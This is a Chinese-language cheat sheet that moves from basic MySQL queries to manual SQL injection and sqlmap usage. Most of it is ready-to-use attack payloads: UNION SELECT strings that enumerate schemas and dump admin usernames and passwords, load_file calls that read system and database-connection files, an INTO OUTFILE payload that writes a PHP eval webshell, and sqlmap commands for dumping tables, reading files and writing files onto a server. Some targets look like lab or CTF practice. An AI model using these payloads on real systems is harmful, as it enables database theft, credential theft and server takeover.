MySQL常用查询命令
查询当前数据库表名
show databases;
进入security数据库
use security;
查看该库的表名
show tables;
查询表内的指定表项
select * from users;
查询ID等于1的users类容
select username from users where id=1;
查询ID等于1 的user和password
select username,password from users where id=1;
查询数据库的版本
select version();
使用联合查询在查询正常的请求后面查询其他信息(查询数据库的版本信息)
select username,password from users where id=1 union select 1,version();
查询id值等限制提取结果最多不超过1行
select username,password from users where id=1 limit 0,1;
SQL注入语句 union select 1,2,version()# 结合实际拼接后的情况
select * from users where id=1 union select 1,2,version()# limit 0,1;
使用union联合查询
使用1,2字段空出前面的两个表名,使用第三个表名显示数据库版本信息
使用#号注释掉后面只显示一行的限制
mysql手工注入常用命令
列出当前所有库名
and 1=2 UNION SELECT 1,2,3,4,5,6,7,group_concat(SCHEMA_NAME),9,10,11,12,13,14,15,16,17 from information_schema.SCHEMATA
列出表名
and 1=2 UNION SELECT 1,2,3,4,5,6,7,group_concat(distinct+TABLE_NAME),9,10,11,12,13,14,15,16,17 from information_schema.TABLES where TABLE_SCHEMA=’security‘
列字段名
and 1=2 UNION SELECT 1,2,3,4,5,6,7,group_concat(distinct+COLUMN_NAME),9,10,11,12,13,14,15,16,17 FROM information_schema.COLUMNS where TABLE_NAME=’security_users‘
查字段内容
and 1=2 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,Username,14,15,16,17 from admin limit 0,1
sqlmap语句对比
and 1=2 UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,N
ULL,NULL,NULL,NULL,(SELECT CONCAT(0x7169706171,IFNULL(CAST(Password AS CHAR),0x2
0),0x686c68737879,IFNULL(CAST(UserName AS CHAR),0x20),0x71746a6371) FROM guangya
ng.admin LIMIT 0,1),NULL,NULL,NULL,NULL,NULL#
读系统信息 c:/boot.ini
and 1=2 UNION SELECT 1,2,3,4,5,6,7,load_file(0x633A2F626F6F742E696E69),9,10,11,12,13,14,15,16,17
读E:\xx\inc\conn.php数据库连接
and 1=2 UNION SELECT 1,2,3,4,5,6,7,load_file(0x453A5C6775616E6779616E675C696E635C636F6E6E2E706870),9,10,11,12,13,14,15,16,17
写webshell
and 1=2 UNION SELECT 1,2,3,4,5,6,7,’<?php @eval($_POST[cmd]);?>’,9,10,11,12,13,14,15,16,17 into outfile ‘E:/guangyang/1.php’
列所有库名 当前库 当前用户
sqlmap.py -u http://10.10.10.11:1080/product/productinfo.php?id=72 --dbs --current-db --current-user
列出表名
–tables -D “xff” --threads 10
列字段
–columns -T “this_flag” -D “xff”
列字段内容
-C “flag” -T “this_flag” -D “xff” --dump
读文件(利用load_file)
–file-read “c:/boot.ini”
导入本地路径的密码文件到网站上 (利用into outfile原理)
–file-write “D:\2.txt” --file-dest “E:\xx\2.php”
sqlmap自动注入
测试漏洞是否存在
python sqlmap.py -u ”URL“
扫描当前用户的信息和表名
python sqlmap.py -u ”URL“ --current-user --current-db
扫描数据库全部表名
python sqlmap.py -u ”URL“ --dbs
列出当前数据所有的表
python sqlmap.py -u ”URL“ -D"指定的表" --tables
列出指定表的所有字段
python sqlmap.py -u ”URL“ -D"指定的表" -T”指定字段“ --columns
列出自定表字段中所有的数据
python sqlmap.py -u ”URL“ -D"指定的表" -T”指定字段“ -C”多项指定数据名可以使用逗号拼接“ --dump
POST表单注入,不需要任何操作,自动测试注入。
sqlmap.py -u (url) --forms --batch
抓包,指定数据包,指定参数注入。
sqlmap.py -r 1.txt -p id